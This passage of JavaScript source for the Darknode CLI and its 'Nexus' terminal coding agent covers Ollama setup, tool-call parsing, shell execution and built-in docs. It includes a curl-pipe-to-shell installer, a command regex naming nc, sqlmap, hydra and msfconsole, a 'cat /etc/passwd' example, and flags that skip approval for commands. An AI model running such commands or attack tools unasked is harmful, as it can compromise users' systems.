  console.log("  " + bold("3.") + " Here, run " + cyan("darknode login") + gray(" (it will prompt) — or ") + cyan("darknode login <code>") + gray(" — and paste it."));
  console.log("     " + gray("In the Nexus TUI: type ") + cyan("/login <code>") + gray(". Check with ") + cyan("darknode whoami") + gray("."));
  console.log("\n  " + gray("Advanced: ") + cyan("darknode login google") + gray(" / ") + cyan("github") + gray(" do a direct OAuth flow — that path needs your own keys in ") + require("path").join(darknodeHome(), "firebase.json") + gray(" (googleClientId/Secret, githubClientId). Most people should use the code above instead.") + "\n");
}
function loginConfigWrite(kv) { const cur = firebaseCfg() || {}; let n = 0; for (const p of kv) { const i = p.indexOf("="); if (i > 0) { cur[p.slice(0, i)] = p.slice(i + 1); n++; } } writeGlobal("firebase.json", cur); console.log("  " + green("saved " + n + " field(s) → ") + require("path").join(darknodeHome(), "firebase.json")); }

// ---- Ollama auto-install + model pull (first-run "download everything" flow) ----
function ollamaReachable() { return new Promise((res) => { const r = require("http").get({ host: process.env.OLLAMA_HOST || "127.0.0.1", port: +(process.env.OLLAMA_PORT || 11434), path: "/api/tags", timeout: 1500 }, () => res(true)); r.on("error", () => res(false)); r.on("timeout", () => { r.destroy(); res(false); }); }); }
function streamCmd(cmdOrBin, args, log, shell) { return new Promise((resolve) => { const cp = require("child_process"); let p; try { p = shell ? cp.spawn("sh", ["-c", cmdOrBin], { stdio: ["ignore", "pipe", "pipe"] }) : cp.spawn(cmdOrBin, args, { stdio: ["ignore", "pipe", "pipe"] }); } catch (e) { log(red(e.message)); return resolve(1); } const onData = (b) => String(b).split(/\r?\n/).forEach((l) => { if (l.trim()) log(gray(l.slice(0, 200))); }); p.stdout.on("data", onData); p.stderr.on("data", onData); p.on("close", (code) => resolve(code || 0)); p.on("error", (e) => { log(red(e.message)); resolve(1); }); }); }
async function installOllama(log) { if (process.platform === "win32") { log("Windows: download the installer from " + cyan("https://ollama.com/download") + ", then re-run setup."); return false; } log("installing Ollama (official script)…"); return (await streamCmd("curl -fsSL https://ollama.com/install.sh | sh", null, log, true)) === 0; }
async function ensureOllamaServer(log) { if (await ollamaReachable()) return true; log("starting the Ollama server…"); try { require("child_process").spawn("ollama", ["serve"], { stdio: "ignore", detached: true }).unref(); } catch (_) {} for (let i = 0; i < 20; i++) { await new Promise((r) => setTimeout(r, 500)); if (await ollamaReachable()) return true; } return false; }
async function ollamaPull(model, log) { log("pulling " + bold(model) + gray(" — several GB, this can take a while…")); return (await streamCmd("ollama", ["pull", model], log, false)) === 0; }
function firstRunPending() { const st = readGlobal("state.json", null); return !st || !st.setupDone; }
// The local models Nexus ships with — a strong coding model + an agentic/security
// model. Override per-call via opts.models. Kept small so first-run stays sane.
const USEFUL_MODELS = (process.env.DARKNODE_MODELS ? process.env.DARKNODE_MODELS.split(",").map((s) => s.trim()).filter(Boolean) : ["qwen2.5-coder", "hermes3"]);
async function nexusSetup(opts) {
  opts = opts || {}; const log = opts.log || ((s) => console.log("  " + s)); const models = opts.models || USEFUL_MODELS;
  log(bold("Nexus setup"));
  if (hasBin("claude")) log(green("● Claude Code detected") + gray(" — available as a headless engine, or use ") + cyan("/connect claude <key>") + gray(" for real Claude via API (in-process)."));
  else log(gray("○ For Claude: ") + cyan("/connect claude <sk-ant-…>") + gray(" (direct API, no CLI) — or ") + cyan("/connect") + gray(" to pick any local/cloud model."));
  const confirm = async (q) => opts.auto ? true : (opts.ask ? /^\s*(y|yes|)\s*$/i.test((await opts.ask(q)) || "") : true);
  const pullUseful = async () => { const tags = await ollamaTags(); for (const m of models) { if (tags.some((t) => t === m || t.startsWith(m + ":"))) log(green("● " + m + " already installed")); else { await ensureOllamaServer(log); await ollamaPull(m, log); } } };
  if (hasBin("ollama")) {
    log(green("● Ollama detected")); await ensureOllamaServer(log);
    if (await confirm("Pull the useful local models (" + models.join(", ") + ")? [Y/n]")) await pullUseful();
    else log(gray("skipped model download."));
  } else if (await confirm("Ollama isn't installed. Install it + the useful local models now? [Y/n]")) {
    if (await installOllama(log) && await ensureOllamaServer(log)) await pullUseful();
  } else log(gray("skipped — run ") + cyan("darknode nexus setup") + gray(" anytime to install Ollama + models."));
  const st = readGlobal("state.json", {}) || {}; st.setupDone = true; st.setupTs = Date.now(); writeGlobal("state.json", st);
  log(green("setup complete."));
}

// ---------- AI coder (terminal AI coding agent, local Ollama, dependency-free) ----------
const { ollamaChat, ollamaTags, pickCoderModel, apiConfigured, ensureDarknodeModel, ensureCoderModel, chooseCoderToPull, API_BASE, hasAnthropic } = require("./lib/nexus/ollama"); // local/any-model client (lib/ollama.js)
let darknodeAutoTried = false; // module-level guard: attempt the first-run darknode auto-install at most once per process
const CODER_SCHEMA = { type: "object", properties: { thought: { type: "string" }, action: { type: "string", enum: ["tool", "final"] }, tool: { type: "string" }, args: { type: "object" }, final: { type: "string" } }, required: ["thought", "action"] };
// Weak local models routinely mangle the tool schema — packing args into the
// tool name ("list_dir{/home/x}", "run_command{ls -l}", "sysinfo{}", "discover(query:sysinfo)"),
// sending args as a bare string, or dropping args entirely. Without this the tool
// name never matches and EVERY call fails as "unknown tool" — so the model concludes
// it has no tools. normalizeToolCall recovers the real name + args so tools still fire.
const TOOL_ARGKEY = { run_command: "command", run_background: "command", read_file: "path", write_file: "path", edit_file: "path", multi_edit: "path", multiedit: "path", apply_patch: "patch", patch: "patch", list_dir: "path", make_dir: "path", mkdir: "path", delete: "path", delete_file: "path", rm: "path", move: "from", copy: "from", search: "pattern", grep: "pattern", find: "glob", glob: "glob", http_fetch: "url", web_fetch: "url", fetch_url: "url", http: "url", web_search: "query", discover: "query", remember: "text", check_background: "id", stop_background: "id", list_processes: "filter", browser_read: "target", browser_page: "target", browser_eval: "expression", browser_exec: "expression", browser_screenshot: "path", browser_shot: "path" };
const KNOWN_ARGKEYS = new Set(["path", "command", "content", "query", "q", "url", "pattern", "glob", "find", "text", "note", "id", "filter", "to", "from", "dest", "name", "tasks", "todos", "items", "method", "replace", "recursive"]);
const KNOWN_TOOLS = new Set(["read_file", "write_file", "edit_file", "list_dir", "run_command", "run_background", "check_background", "stop_background", "search", "grep", "find", "find_files", "glob", "http_fetch", "web_fetch", "fetch_url", "http", "web_search", "search_web", "google", "todo_write", "todos", "todo_list", "write_todos", "sysinfo", "system_info", "list_processes", "ps", "make_dir", "mkdir", "move", "rename", "move_file", "copy", "copy_file", "delete", "delete_file", "rm", "remember", "discover", "spawn_agents", "repo_map", "repomap", "multi_edit", "multiedit", "apply_patch", "patch", "verify", "run_tests", "test_project", "find_symbol", "symbol", "goto", "browser_status", "browser_tabs", "browser_list", "browser_read", "browser_page", "browser_eval", "browser_exec", "browser_screenshot", "browser_shot"]);
// A tool "name" that is really a shell command line — weak models often emit
// {tool:"cat /etc/passwd"} or {tool:"ls /bin/*"} instead of run_command.
const SHELL_CMD = /^(sudo\s+)?(ls|cat|grep|egrep|fgrep|echo|cd|pwd|whoami|id|uname|hostname|ps|top|df|du|free|date|env|printenv|which|type|find|locate|head|tail|awk|sed|cut|tr|sort|uniq|wc|xargs|tee|curl|wget|ping|traceroute|nmap|nc|ncat|dig|host|nslookup|ip|ifconfig|iwconfig|netstat|ss|arp|route|cp|mv|rm|mkdir|rmdir|touch|ln|stat|file|chmod|chown|tar|gzip|gunzip|zip|unzip|git|make|gcc|python3?|node|npm|npx|pip3?|bash|sh|zsh|kill|pkill|killall|systemctl|service|apt|apt-get|dpkg|ssh|scp|rsync|darknode|sentinel|nexus|nikto|sqlmap|hydra|john|hashcat|gobuster|ffuf|masscan|whatweb|searchsploit|msfconsole)(\s|$)/i;
function looksLikeCommand(s) { s = String(s || "").trim(); return SHELL_CMD.test(s) || /^\.{0,2}\//.test(s) || (/\s/.test(s) && /[\/*.~|>]/.test(s)); }
function normalizeToolCall(o) {
  let name = o && o.tool, a = o && o.args;
  if (name == null) return { name, a: (a && typeof a === "object") ? a : {} };
  const orig = String(name).trim();
  // strip a trailing (...) or {...} that the model packed onto the tool name
  let inner = null, bare = orig;
  const m = orig.match(/^([A-Za-z_][A-Za-z0-9_]*)\s*[\(\{]([\s\S]*)[\)\}]\s*$/);
  if (m) { bare = m[1]; inner = m[2].trim(); }
  name = bare.startsWith("mcp__") ? bare : bare.toLowerCase();
  // a top-level array of args → map onto the tool's list key so it isn't silently dropped
  if (Array.isArray(a)) a = { [name === "spawn_agents" ? "tasks" : name === "todo_write" ? "todos" : "items"]: a };
  const haveArgs = a && typeof a === "object" && !Array.isArray(a) && Object.keys(a).length;
  // unknown tool name that is actually a shell command → route to run_command
  if (!KNOWN_TOOLS.has(name) && !name.startsWith("mcp__")) {
    const cmd = m ? (inner ? bare + " " + inner : bare) : orig;
    const argCmd = haveArgs && typeof (a.command || a.cmd) === "string" ? (a.command || a.cmd) : null;
    if (argCmd) return { name: "run_command", a: { command: argCmd } };
    if (looksLikeCommand(cmd) || looksLikeCommand(name)) return { name: "run_command", a: { command: cmd } };
  }
  if (haveArgs) return { name, a };
  a = {};
  const argStr = (typeof (o && o.args) === "string") ? String(o.args).trim() : "";
  let raw = argStr || (inner || "");
  if (raw) {
    let parsed = null;
    if (raw.startsWith("{")) { try { parsed = JSON.parse(raw); } catch (_) {} }
    if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) return { name, a: parsed };
    const kv = raw.match(/^([A-Za-z_][A-Za-z0-9_]*)\s*[:=]\s*([\s\S]+)$/);
    const key1 = kv ? kv[1].toLowerCase() : "";
    // only treat "word: value" as a key/value pair when the key is THIS tool's arg key
    // (or the tool has no fixed key) — otherwise a command like "find: /etc" for
    // run_command would wrongly land under `find` instead of `command`.
    if (kv && (key1 === TOOL_ARGKEY[name] || (!TOOL_ARGKEY[name] && KNOWN_ARGKEYS.has(key1)))) a[key1] = kv[2].trim().replace(/^["']|["']$/g, "");
    else a[TOOL_ARGKEY[name] || "value"] = raw.replace(/^["']|["']$/g, "");
  }
  return { name, a };
}
// A conversational / trivial message (a greeting, thanks, or an identity/capability
// question) needs NO tools — the agent should just reply. Without this gate, the
// "do the real work first" nudge below forces even "hi" into probing the system
// (sysinfo, ls, cat /etc/passwd …), which reads as the AI "hacking" unprompted.
function isChitchat(s) {
  const t = String(s || "").trim().toLowerCase().replace(/^[\s>#*-]+/, "").replace(/[!.?,\s]+$/, "");
  if (!t) return true;
  if (/^(hi+|hey+|hello+|yo+|sup|hiya|heya|howdy|gm|good\s?(morning|afternoon|evening|night)|greetings|hola|namaste|hey there|hello there)$/.test(t)) return true;
  if (/^(thanks|thank you|ty|thx|cheers|ok|okay|kk|cool|nice|great|awesome|perfect|lol|lmao|bye|goodbye|see ya|later|yep|yeah|yes|no|nope|sure|nvm|never mind)$/.test(t)) return true;
  if (/^(who|what)\s+(are|is|can|r|u)\s+(you|nexus|u|this|that)\b/.test(t)) return true;
  if (/^(what can you do|what do you do|how do you work|how does this work|introduce yourself|what is this|what'?s this|who made you|are you (claude|chatgpt|gpt|an ai))\b/.test(t)) return true;
  return false;
}
function coderShell(command, cwd) {
  return new Promise((resolve) => {
    const p = spawn(process.platform === "win32" ? "cmd.exe" : "/bin/sh", [process.platform === "win32" ? "/c" : "-c", command], { cwd });
    let out = ""; const cap = 12000;
    const add = (d) => { if (out.length < cap + 200) out += d.toString(); };
    const to = setTimeout(() => { try { p.kill("SIGKILL"); } catch (_) {} }, 120000);
    p.stdout.on("data", add); p.stderr.on("data", add);
    p.on("close", (code) => { clearTimeout(to); resolve({ code, output: out.length > cap ? out.slice(0, cap) + "\n...[truncated]" : (out || "(no output)") }); });
    p.on("error", (e) => { clearTimeout(to); resolve({ code: -1, output: "spawn error: " + e.message }); });
  });
}
// ---------- Nexus documentation (shared by `darknode docs` and the TUI /docs browser) ----------
const NEXUS_DOCS = {
  overview: { title: "Overview", body:
    "Nexus is a terminal AI coding agent built into the Darknode CLI. It drives one of three\nengines from a single dependency-free binary:\n  claude    — the Claude Code CLI in the cloud (strongest; needs `claude` installed + logged in)\n  ollama    — a free, private, local model on your machine (needs Ollama)\n  opencode  — the OpenCode CLI\n\nIt reads & writes files, runs commands, checkpoints every change, shows real token cost\nlive, saves tokens by delegating cheap work to a weaker/local model, and keeps secrets off\nthe cloud. Launch it with `darknode nexus --tui`. Type / inside for the command menu." },
  quickstart: { title: "Quick start", body:
    "  darknode init                 scaffold .nexus/ (project context Nexus reads each session)\n  darknode nexus --tui          full-screen agent (Claude if installed, else local)\n  darknode nexus --tui -e ollama  drive a 100% local, private, free agent\n  darknode nexus \"add tests to server.js and run them\"   one-shot task\n\nFree local setup:\n  curl -fsSL https://ollama.com/install.sh | sh\n  ollama pull gpt-oss:20b      # fast local agent (~14GB); pull gpt-oss:120b for max power (~63GB)" },
  engines: { title: "Engines & models", body:
    "  /engine <name>                   switch AI: claude · gemini · codex · opencode · aider · ollama\n  /model [name]                    show/set the model\n  /models                          list cloud tiers + installed local models\n  /fallback <model>                auto-retry on a cheaper model when rate-limited\n  /cowork <strong> <weak>          strong model codes; weak (cheaper Claude tier OR\n                                   a free local model via ollama:<name>) does cheap work\n  Aliases: opus · sonnet · haiku · fable (or full names like claude-haiku-4-5-...)" },
  cost: { title: "Saving cost", body:
    "In rough order of impact:\n  /cowork opus ollama:qwen2.5-coder   free local worker does tests/builds/commit msgs\n  /lean                               minimal output (output tokens cost the most)\n  /effort low                         less thinking on mechanical work\n  /index                              local model auto-pulls only relevant files\n  /budget 5                           hard cap (also enforced mid-turn)\n  /estimate <prompt>                  rough cost before you send\n  /impact                             what you saved this session\n  /cheap                              preset: lean + low effort" },
  multiengine: { title: "Multi-engine", body:
    "  /race <prompt>       every engine answers at once; keep the best (fastest marked)\n  /ensemble <prompt>   every engine answers, then one synthesizes the single best\n  /review [engine]     a different engine critiques the last answer\n  /bench <prompt>      speed / tokens / cost table per engine (read-only)" },
  build: { title: "Build & verify", body:
    "  /plan <goal>         editable checklist (/plan run · /plan add · /plan done N)\n  /watch <cmd>         run a command; auto-fix the code and re-run until it passes\n  /test <file>         generate + run unit tests\n  /agents a ;; b ;; c  run independent tasks in parallel (each in an isolated git worktree)" },
  git: { title: "Git & checkpoints", body:
    "A git checkpoint is taken before every file-changing turn.\n  /undo /redo /rewind N   restore only the files Nexus changed (unrelated edits kept)\n  /diff /git /blame /recent  session diff · status+log · line authorship · recent files\n  /commit                    AI commit message + commit" },
  safety: { title: "Safety & privacy", body:
    "  /guard enforce|warn|off  preflight destructive shell commands (rm -rf, dd, pipe-to-shell…)\n  /secrets                 scan the repo for leaked credentials\n  /scan <host>             quick TCP port scan\n  /redact                  mask secrets before anything is sent to a cloud engine\n  /offline                 local-only lock — nothing leaves the machine" },
  context: { title: "Context", body:
    "  @file        inline a file into your message (Tab completes the path)\n  !cmd         run a shell command inline\n  #note        save a durable memory to .nexus/NEXUS.md\n  /pin <file>  keep a file in context every turn\n  /tree        project file tree\n  /index       build a keyword index for local auto-context\n  /compact /context   shrink & inspect the context window\n  \\ + Enter    continue on a new line" },
  session: { title: "Session", body:
    "  /resume      reload the last saved session (.nexus/session.json)\n  /export      write the conversation to a markdown file\n  /copy        copy the last reply to the clipboard\n  /dream       consolidate the session into NEXUS.md memory\n  /gaps        list TODO/FIXME/HACK markers (/gaps plan → checklist)\n  /status /doctor /impact   session status · health · savings receipt" },
  keys: { title: "Keyboard", body:
    "  Enter          send        \\ then Enter   newline\n  Shift+Tab      cycle mode (normal / auto-accept / plan)\n  Ctrl+O         expand tool detail\n  Ctrl+C         stop the current turn (again to quit)\n  Up / Down      input history      Tab   complete /command or @path\n  wheel · PgUp/PgDn · Home/End   scroll" },
  config: { title: "Project config (.nexus/)", body:
    "  NEXUS.md        project instructions loaded every session (given to ALL engines)\n  config.json     { engine, model }\n  mcp.json        MCP servers: { mcpServers: { name: { command, args } } }\n  hooks.json      shell hooks: UserPromptSubmit · PreToolUse · PostToolUse · Stop\n  commands/*.md   custom /commands (body = prompt, $ARGUMENTS substituted)\n  snippets.json · plan.json · index.json · session.json   (auto-managed; gitignored)" },
  env: { title: "Environment", body:
    "  DARKNODE_MODEL   default local model for the ollama engine\n  OLLAMA_HOST / OLLAMA_PORT   point at a remote Ollama (default 127.0.0.1:11434)\n  OLLAMA_TIMEOUT   local request timeout ms (default 300000)\n  NO_COLOR=1       disable colored output" },
};
const DOC_ORDER = ["overview", "quickstart", "engines", "cost", "multiengine", "build", "git", "safety", "context", "session", "keys", "config", "env"];
function docList() { return DOC_ORDER.map((k) => "  " + k.padEnd(12) + gray(NEXUS_DOCS[k].title)).join("\n"); }
function nexusDocs(topic) {
  banner();
  const key = (topic || "").toLowerCase().replace(/^\//, "");
  if (!key || key === "help") { console.log("  " + bold("Nexus documentation") + "\n\n  " + gray("darknode docs <topic>") + "  ·  topics:\n\n" + docList() + "\n\n  " + gray("or read it all: ") + cyan("darknode docs all") + "\n"); return; }
  if (key === "all") { for (const k of DOC_ORDER) { console.log("\n  " + bold(cyan("▌ " + NEXUS_DOCS[k].title))); console.log("  " + NEXUS_DOCS[k].body.replace(/\n/g, "\n  ") + "\n"); } return; }
  const d = NEXUS_DOCS[key] || Object.entries(NEXUS_DOCS).find(([k, v]) => k.startsWith(key) || v.title.toLowerCase().includes(key))?.[1];
  if (!d) { console.log("  " + red("no doc topic '" + key + "'") + "\n\n  topics:\n" + docList() + "\n"); return; }
  console.log("  " + bold(cyan("▌ " + d.title)) + "\n\n  " + d.body.replace(/\n/g, "\n  ") + "\n");
}
function nexusHelp() {
  banner();
  console.log("  " + bold("Nexus") + " — terminal AI coding agent (local Ollama)\n");
  console.log("  " + bold("USAGE"));
  console.log("    darknode nexus [options] [task]     one-shot task, or interactive REPL if no task given");
  console.log("    darknode nexus                      interactive session\n");
  console.log("  " + bold("OPTIONS"));
  console.log("    -e, --engine <name>                claude (default if installed) | ollama | opencode");
  console.log("    -m, --model <name>                 ollama model (ollama engine)");
  console.log("    -y, --yes, --skip-permissions      auto-approve all file writes and commands");
  console.log("        --tui                          full-screen UI: scrolling chat + fixed input box (claude/opencode)");
  console.log("        --print                        headless: run one task, print the result, exit");
  console.log("    -h, --help                         show this help\n");
  console.log("  " + bold("IN-SESSION COMMANDS"));
  console.log("    /help          list commands           /model [name]  show or switch model");
  console.log("    /auto          toggle auto-approve      /clear         reset the conversation");
  console.log("    /undo          revert last file change  /diff          list files changed this session");
  console.log("    /exit          quit\n");
  console.log("  " + gray("Attach a file to a task with @path  —  e.g.  fix the bug in @src/app.js") + "\n");
  console.log("  " + bold("ENV") + "   DARKNODE_MODEL (default model) · OLLAMA_HOST / OLLAMA_PORT (remote Ollama)");
  console.log("        " + gray("Any model: DARKNODE_API_BASE + DARKNODE_API_KEY point Nexus at any OpenAI-compatible API (OpenRouter, Groq, DeepSeek, vLLM…), or use /api in the TUI") + "\n");
  console.log("  " + gray("Nexus reads & writes files and runs commands in the current folder. Local models only — private.") + "\n");
}

async function aiCoder(argv) {
  const fs = require("fs"), path = require("path");
  const cwd = process.cwd();
  // ---- parse flags ----
  const arr = Array.isArray(argv) ? argv.slice() : String(argv || "").split(/\s+/).filter(Boolean);
  let autoApprove = false, printMode = false, modelOverride = "", enginePref = "", tuiFlag = false, resumeFlag = false, leanFlag = false, parts = [];
  for (let i = 0; i < arr.length; i++) {
    const a = arr[i];
    if (a === "-y" || a === "--yes" || a === "--skip-permissions" || a === "--dangerously-skip-permissions") autoApprove = true;
    else if (a === "--print") { printMode = true; autoApprove = true; }
    else if (a === "--lean") leanFlag = true;
    else if (a === "--tui" || a === "--ui") tuiFlag = true;
    else if (a === "--resume") resumeFlag = true;
    else if (a === "-m" || a === "--model") modelOverride = arr[++i] || "";
    else if (a === "-e" || a === "--engine") enginePref = arr[++i] || "";
    else if (a === "-h" || a === "--help") return nexusHelp();
    else parts.push(a);
  }
  let cfg = {}; try { cfg = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "config.json"), "utf8")); } catch (_) {}
  const lean = leanFlag || !!cfg.lean; // minimal-output mode (also used for read/step budgets)
  // Any-model support: an OpenAI-compatible endpoint (from .nexus/config.json or
  // env) turns the local engine into a driver for ANY model. Env wins over config.
  if (cfg.apiBase && !process.env.DARKNODE_API_BASE) process.env.DARKNODE_API_BASE = cfg.apiBase;
  if (cfg.apiKey && !process.env.DARKNODE_API_KEY) process.env.DARKNODE_API_KEY = cfg.apiKey;
  let nexusMd = ""; try { nexusMd = fs.readFileSync(path.join(cwd, ".nexus", "NEXUS.md"), "utf8"); } catch (_) {}
  const avail = {}; for (const e of ENGINE_ORDER) avail[e] = engineAvail(e);
  // "api" is an alias for the local tool loop pointed at the configured API.
  if (enginePref === "api") { enginePref = "ollama"; if (!apiConfigured() && !cfg.apiModel) console.log("  " + yellow("note: no API configured — set DARKNODE_API_BASE (+ DARKNODE_API_KEY) or run /api <url> [model]")); }
  // Default to Claude headless when installed, fall back to Ollama.
  let engine = enginePref || cfg.engine || (avail.claude ? "claude" : "ollama");
  if (engine !== "ollama" && !avail[engine]) engine = avail.claude ? "claude" : "ollama";
  // The full-screen TUI is the default interactive experience now — the old
  // line-based `darknode nexus` REPL has been retired for interactive use. Fall
  // through to the non-TUI path only for a one-shot task (`darknode nexus
  // "..."`), --print, or a non-interactive stdout.
  if (parts[0] === "serve") return nexusServe(parts.slice(1), { engine });
  const oneShot = parts.length > 0;
  if (process.stdout.isTTY && !printMode && !oneShot) return nexusTui(engine, cwd, nexusMd, resumeFlag);
  if (tuiFlag && !process.stdout.isTTY) console.log("  " + gray("--tui needs an interactive terminal."));
  let model = null, modelList = [];
  if (engine === "ollama") { modelList = await ollamaTags();
    // First run: auto-build the local "darknode" model when it's the effective default (nothing else chosen/installed) or explicitly requested, instead of erroring out.
    if (!apiConfigured() && !darknodeAutoTried) {
      darknodeAutoTried = true;
      const explicit = modelOverride || cfg.apiModel || cfg.model || process.env.DARKNODE_MODEL;
      const dlog = (s) => { if (!printMode) console.log("  " + gray(s)); };
      // First run: if the user asked for the darknode persona, build it; otherwise if they have no
      // capable coder installed at all, pull the default coder Nexus ships with (qwen2.5-coder).
      if (explicit && /^darknode(:|$)/i.test(explicit)) { if (await ensureOllamaServer(dlog)) { if (await ensureDarknodeModel(dlog)) modelList = await ollamaTags(); } }
      else if (!explicit && chooseCoderToPull(modelList)) { if (await ensureOllamaServer(dlog)) { if (await ensureCoderModel(dlog)) modelList = await ollamaTags(); } }
    }
    if (!modelList.length && !apiConfigured()) { if (!printMode) banner(); console.log("  " + red("No local model. Install Ollama + `ollama pull gpt-oss:20b`, or use --engine claude.")); return; } model = modelOverride || cfg.apiModel || cfg.model || process.env.DARKNODE_MODEL || pickCoderModel(modelList); if (!model) { if (!printMode) banner(); console.log("  " + red(apiConfigured() ? "An API is set but no model — pass -m <model> (e.g. -m gpt-4o-mini) or set apiModel in .nexus/config.json." : "No local model. Install Ollama + `ollama pull gpt-oss:20b`.")); return; } }
  if (!printMode) {
    banner();
    const W = 56, bx = (s) => cyan("│ ") + s + " ".repeat(Math.max(0, W - 1 - s.length)) + cyan("│");
    const dir = cwd.length > W - 8 ? "…" + cwd.slice(-(W - 9)) : cwd;
    console.log("  " + cyan("╭" + "─".repeat(W) + "╮"));
    console.log("  " + bx("Nexus — AI coding agent"));
    console.log("  " + bx("engine: " + engine + (model ? "  (" + model + ")" : "  (Claude Code)")));
    console.log("  " + bx("dir:    " + dir));
    if (nexusMd) console.log("  " + bx("context: .nexus/NEXUS.md loaded"));
    console.log("  " + cyan("╰" + "─".repeat(W) + "╯"));
    console.log("  " + gray("message Nexus below · /help for commands · /exit to quit") + (autoApprove ? gray(" · auto-approve ON") : "") + "\n");
  }
  const SYS = "Nexus — coding agent in " + cwd + ". One action/step, read observation, repeat. Tools: read_file{path} write_file{path,content} edit_file{path,find,replace} list_dir{path?} run_command{command}. Reply ONE JSON: {\"thought\",\"action\":\"tool\",\"tool\",\"args\"} or {\"thought\",\"action\":\"final\",\"final\"}. Prefer edit_file for changes. Greetings/questions → action:final immediately. Else work until done.\nEfficiency: minimize calls. Chain shell commands with && or ;. Read only needed lines. Never re-read after write. Simple task = 2-5 calls." + (nexusMd ? "\n\nPROJECT:\n" + nexusMd.slice(0, 1000) : "");
  const messages = [{ role: "system", content: SYS }];
  let delegated = false;
  const changed = [];  // session change log for /undo and /diff: {path, before|null, label}
  const relp = (p) => path.relative(cwd, p) || p;
  // ---- permission gate (Glitch-style): confirm risky actions unless auto-approve ----
  async function approve(label) {
    if (autoApprove) return true;
    const ans = (await ask(cyan("  approve ") + label + gray("  [y]es / [n]o / [a]lways: "))).trim().toLowerCase();
    if (ans === "a" || ans === "always") { autoApprove = true; return true; }
    return ans === "" || ans === "y" || ans === "yes";
  }
  let task = parts.join(" ").trim();
  while (true) {
    if (!task) {
      if (printMode) return;
      const t = (await chatInput()).trim();
      if (!t) { task = ""; continue; }
      if (/^\/?(exit|quit|q)$/i.test(t)) { console.log("\n  " + gray("stay sharp.") + "\n"); return; }
      if (t === "/help") { nexusHelp(); continue; }
      if (t === "/auto") { autoApprove = !autoApprove; console.log("  " + gray("auto-approve " + (autoApprove ? "ON" : "OFF"))); continue; }
      if (t === "/clear") { messages.length = 1; console.log("  " + gray("conversation cleared")); continue; }
      if (t.startsWith("/model")) { const m = t.split(/\s+/)[1]; if (m) { model = m; console.log("  " + gray("model -> " + m)); } else console.log("  " + gray("model: " + (model || "(engine default)") + (modelList.length ? gray("  available: " + modelList.join(", ")) : ""))); continue; }
      if (t === "/undo") { const c = changed.pop(); if (!c) console.log("  " + gray("nothing to undo")); else try { if (c.isNew) { fs.unlinkSync(c.path); console.log("  " + gray("undid " + c.label + " (deleted new file)")); } else if (c.before != null) { fs.writeFileSync(c.path, c.before); console.log("  " + gray("undid " + c.label)); } else { console.log("  " + yellow("skipped undo of " + c.label + " — original contents weren't captured (file existed but was unreadable); not deleting it")); } } catch (e) { console.log("  " + red("undo failed: " + e.message)); } continue; }
      if (t === "/diff" || t === "/changed") { if (!changed.length) console.log("  " + gray("no changes this session")); else { console.log("  " + gray("changed this session:")); changed.forEach((c) => console.log("    " + relp(c.path) + (c.isNew ? gray("  (new)") : ""))); } continue; }
      if (t.startsWith("/")) { console.log("  " + gray("unknown command; try /help")); continue; }
      task = t;
    }
    // @path attaches a file's contents to the prompt (e.g. "fix the bug in @src/app.js")
    const userMsg = task.replace(/(^|\s)@(\S+)/g, (m, pre, p) => { try { const c = fs.readFileSync(path.resolve(cwd, p), "utf8"); return pre + "\n\n--- " + p + " ---\n" + c.slice(0, lean ? 3000 : 6000) + "\n--- end " + p + " ---\n"; } catch (_) { return m; } });
    messages.push({ role: "user", content: userMsg }); task = "";
    console.log(cyan("  ▎ ") + bold("nexus") + gray("  " + engine) + "\n");
    if (engine !== "ollama") {
      await runEngineTask(engine, userMsg, cwd, autoApprove, delegated);
      delegated = true; console.log("");
      if (printMode) return;
      continue;
    }
    // Greeting / trivial message → reply conversationally, never enter the tool loop.
    if (isChitchat(userMsg)) {
      let reply = ""; try { reply = await ollamaChat(model, [{ role: "system", content: "Nexus terminal assistant. Reply briefly. No tools." }, { role: "user", content: userMsg }]); } catch (_) {}
      console.log("  " + ((reply || "").trim() || "Hi! I'm Nexus — ask me anything, or give me a task and I'll use tools to do it.") + "\n");
      if (printMode) return; continue;
    }
    let didTool = false, nudges = 0;
    for (let step = 1; step <= (lean ? 12 : 25); step++) {
      let raw; try { raw = await ollamaChat(model, messages, CODER_SCHEMA); } catch (e) { console.log("  " + red(e.message)); break; }
      let o; try { o = JSON.parse(raw); } catch (_) { messages.push({ role: "tool", content: "Reply with valid schema JSON only." }); continue; }
      // Strip thought from context to save tokens — it's displayed, not needed in history
      const compact = { action: o.action };
      if (o.tool) compact.tool = o.tool;
      if (o.args) compact.args = o.args;
      if (o.final) compact.final = o.final;
      messages.push({ role: "assistant", content: JSON.stringify(compact) });
      if (o.thought && !printMode) console.log("  " + gray("💭 " + o.thought.slice(0, 120)));
      if (o.action === "final") {
        if (!didTool && !isChitchat(userMsg) && nudges++ < 3) { messages.push({ role: "tool", content: "Do the real work first." }); continue; }
        console.log("\n  " + green("done: ") + bold(o.final || "done") + "\n"); break;
      }
      const { name, a } = normalizeToolCall(o); let result;
      try {
        if (name === "read_file") { const t = fs.readFileSync(path.resolve(cwd, a.path), "utf8"); result = t.slice(0, lean ? 8000 : 16000); if (!printMode) console.log("  " + cyan("📖 read ") + gray(a.path)); }
        else if (name === "list_dir") { const d = path.resolve(cwd, a.path || "."); result = fs.readdirSync(d, { withFileTypes: true }).map((e) => (e.isDirectory() ? e.name + "/" : e.name)).slice(0, lean ? 80 : 200).join("\n"); if (!printMode) console.log("  " + cyan("ls ") + (a.path || ".")); }
        else if (name === "write_file") {
          if (!(await approve("write " + a.path))) { result = "denied"; console.log("  " + red("denied ") + a.path); }
          else { const fp = path.resolve(cwd, a.path); let before = null, isNew = false; try { before = fs.readFileSync(fp, "utf8"); } catch (e) { if (e.code === "ENOENT") isNew = true; } fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, a.content == null ? "" : a.content); changed.push({ path: fp, before, isNew, label: "write " + a.path }); result = "ok"; console.log("  " + green("✏️  write ") + a.path + gray(" · " + String(a.content || "").split("\n").length + " lines")); }
        }
        else if (name === "edit_file") {
          const fp = path.resolve(cwd, a.path); let t;
          try { t = fs.readFileSync(fp, "utf8"); } catch (_) { t = null; }
          if (t == null) { result = "error: cannot read " + a.path; }
          else if (!t.includes(a.find)) { result = "error: find text not in file"; }
          else { const occurrences = t.split(a.find).length - 1; if (occurrences > 1 && !a.replace_all) { result = "error: matches " + occurrences + " locations — add more context"; } else if (!(await approve("edit " + a.path))) { result = "denied"; console.log("  " + red("denied ") + a.path); }
